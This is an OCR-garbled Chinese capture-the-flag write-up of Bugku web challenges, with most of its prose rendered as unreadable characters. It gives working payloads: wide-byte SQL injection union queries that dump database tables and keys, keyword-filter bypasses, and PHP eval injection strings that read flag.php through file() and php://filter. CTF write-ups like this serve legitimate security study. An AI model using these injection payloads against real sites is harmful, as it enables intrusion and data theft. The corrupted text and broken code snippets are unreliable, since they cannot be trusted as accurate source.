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FAEPHP U A e Eiflag, HJE R fuvr BAEE .
Jiid s ATEASE EARE SO, A HburpdUes, SEECCAF 4% Juphp, RIS £flag .
T = %008, Je EAREA SCE, A burpdleL, #ESC1FA4 S A N“%00.php”, Ki%, 13%flag.

0x03.7+ 5 4%
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<input claszs="input” mazlensth="1" type="text">

AHEETR, RINELPRMAAREMAKLE, Wiz timaxengthfi 5252 i+ 545 Rt 43 2flag -

0x04.webJLi$_GET

$what=$ GET['what'];
echo $what;
if($what=="flag")
echo 'flag{****};

it get)y 4 NS H il “what (#1845 T-flag.
payload:?what=flag

0x05.webX:fili$_POST

$what=$ POST['what'];
echo $what:
if($what=="flag")

echo 'flag{****}";

it post)y iEAE NS HU L “what (1 {H 55 T-flag.
payload:POST:what=flag

0x06.7 &



$num=$ GET['num’];
if(Yis_numeric($num))
{

echo $num;
if(Snum==1)

echo 'flag{**********]'-

}

AHZOR: BEEnumE AR 2T, N Enum=1,
is_numeric(var)4 73z & & £ 7 BT T4 IR [l true o

BN M+ R, T PUEis_numeric()i& [Elfalse, #EMT#E(T 352884, {finum==1, 5%flag.
payload:?num=1a

0x07.web3

FIHFBESE 5 RIS IR B0
RS E G, BRI, KB <script> R HLA —Hunicodewid, i R115Hlflag.

alert ("flaggl{fEiX H”) ;

alert ("RFKIM") ;

I—&RTH; &R69; &R89; &R123 ; &HT4 ; &850 ; &#H115;&R97 ; &#O2 ; &H#D0 ; &HIT ; &#104 ;&RT4 ; &HTH  &#
{/script>

¢/head>

</html>
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Eikeyzk,id=19string="E&

id 1

i
I key fdsafdasfdsa
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SR ES, RIRMEIER,
BEVE, KISCTmiG2Egb2312, FLETE T IEN.
Wk :  ?id=1%df%27 and 1=1—+
?2id=1%df%27 and 1=2—+
AR N RS, InvER R [ IR .
FIWr 7B ?1d=1%df%27 order by 2—+
WA R A 2id=-1%df%27 union select 1,2—+



key fdsafdasfdsa
id 1
key 2

AR E 4 2id=-1%df%27 union select 1,database()—+

key sqlb

TR A : ?id=-1%df%27 union select 1,table_name from information_schema.tables where table_schema=0x73716C35—+

id 1
key key
id 1
key test

BT ?2id=-1%df%27 union select 1,column_name from information_schema.columns where table_name=0x6B6579—+

id 1

key id

id 1

key string

A ifistring 7 B /3 Fiflag: ?id=-1%df%27 union select 1,string from sql5.key—+

id 1
key 5413320dc261f313ba712eb3f13a1f6d
id 1

key aaaaaaaaaa
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i5AE flag. bugku.com ERITRI120.24.86.145 FigEEZlflag
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Windows 354 fi# 47 -

&2 e C\windows\system32\drivers\etc\hosts

Windows 107% 4 15 Bthosts ST RLBR I fif vk 5 %

& hosts - ig=&
STHEEF) B BR(0) BE(V) EEIH)
Copvright (c) 1993-2009 Microsoft Corp.

This is a sample HOSTS file used by Microsoft TCP/IP for Win

This file contains the mappings of IP addresses to host name
entry should be kept on an individual line. The IP address s
be placed in the first column followed bv the corresponding
The IP address and the host name should be separated by at 1
space.

lines or following the machine name denoted by a '# symbol.
For example:

102. 54, 94, 97 rhino. acme. com % source serve

38. 25, 63. 10 X. acme. com # x client hos

localhost name resolution is handled within DNS itself.
127.0.0.1 localhost
0l localhost

#
#
#
#
#
#
#
#
#
#
# Additionally, comments (such as these) mav be inserted on in
#
#
#
#
#
#
#
#
# s
120. 24. 86. 145 flag. bugku. com

7E BRI —%%: 120.24.86.145 flag.bugku.comf{ff7,
U7 4, 13%fag.

FELinux R 3842 i 4t -

F 44T FFhosts CfF:  sudo gedit /etc/hosts



https://www.cnblogs.com/ECJTUACM-873284962/p/8858384.html

I8 B BLBRANGE (115 BB T+ 2 ArootH 7
#n120.24.86.145 flag.bugku.com, 4%
T H 31 ¥E 2547 HHflag.bugku.com.

0x10SQLE A1

//idiEsql

$array = array('table','union','and’,'or', 'load file','create', 'delete’,'select’', 'update’,'sleep’', "alter’, 'drop', 'truncate’','from', "max",

foreach ($array as $value)

{
if (substr_count($id, $value) > @)
i
exit("ESEEAET! . dvalue);
}
H

1 /xssidig
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

PR £substr_count() T B 7R AT AR R I L
strip_tags()#| 2 F478 HH  HTML. XML LL & PHP fifr2%,
% A strip_tags()eki%L, W] LL{Epayload F R EHTMLAR S K Geid .
Mk B MSH, dAFREISHE, ?2id=1-—+

payload:

?id=-1 uni<>on sel<>ect 1,database()

?id=-1 uni<>on sel<>ect 1,hash fr<>om sql3.key

%" M %007 W

payload:

?id=-1 uni%@0on sel%@Oect 1,database()

?id=-1 uni%@@on sel%@@ect 1,hash fr%e0om sql3.key

Ox 1R A LAl 45 T

| want to play Dummy game with others£iBut | can't stop!
Stop at panda ! u will get flag

{script language="JavaScript”>
function myrefresh() {
window. location. reload() ;

}
setTimeout ( myrefresh()’, 500) :
{/script>

reload() /52 H T B8 I 4w sk
setTimeout() /5% FH T1E48 & =R 80U Ui FH s 3 EH R A
Burp¥lfi, KikF|Repeater, X5 A5 “go”, E E|{EResponse % Fflag.

v

,'order", "1imit"'
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<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(___FILE_ );

2>

pR £ eval(FE =155 5 F E PHP AR HAT

var_dump()4T ENAZ IR B

show_source ()X SCAFIEAT 1R s o

Wit HyighelloZ it sy A a, EMBEATAURIAT .

payload:

?hello=);print_r(file("flag.php")

?hello=);var_dump(file("flag.php")

?hello=file("flag.php")

?hello=);show_source("flag.php");var_dump(
?hello=);include(@$_POST['b'] 7EPOSTH: b=php://filter/convert.base64-encode/resource=flag.php
?hello=);include("php://filter/convert.base64-encode/resource=flag.php"

0x1345 &1

flag In the variable ! <?php

error_reporting(0) ;
include “flagl.php”;
highlight file(_  file );
if(isset($ GET[ args’ 1)) {
Sargs = $ GET[ args’];
if (!preg match(”/ \w+$/”, $args)) {
die("args error!”);

1

eval (“var_dump ($Sargs) ;") ;
1
2
PR

highlight_file() B0t SO AT 1 1 B 50 S

preg_match(FAT— A IEM A A ITHD, FoA (wRRILECEHE ~ RIZE AT 3/ =5, RAMEAREN T [A-Za-z0-9 ", XH
f7 B3R - 75 FH Unicode 7 745 RIS ILFEL 4

n[ AR, $SargsFE s Eargs KME FE AL =S .

BH R flagfEAL & 5, Jr LA - $GLOBALS %4 .

payload: ?args=GLOBALS
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KK — BRI, WS AT, 5500ag.
0x153L 55

AT E RGBT A, B AR H R, SEntp kT Re A 4 .
PMfL, send to Repeaterft i 3k B % Fiflag.

Response

J Raw I Headers T Hex T HTML I Render ]

HTTF/1l.l Z00 OK
Server: nginx
Date: Zat, 02 Jun Z018 04:00:51 GUT

Content-Type: text/html
Connection: keep-alive
Feep-Alive: timecut=£0
flagi{Bugku k8 Z3s_istral:
Content-Length: 139

0Ox16web4

BH PR H RN, RIS <script> AR%% B A URLYwIY,
p 1Sy

P2f#ERS N



I )5 ffleval(unescape(p1) + unescape('%35%34%61%61%32’ + p2));fi#hs

HRAEeval( P T AR He 2 S HE 4

WA FEa A 2 75 %5 T-67d709b2b54aa2aa648cf6e87a7114f1
IR BN 15 R 4RSS U TT LLAS Eiiflag .
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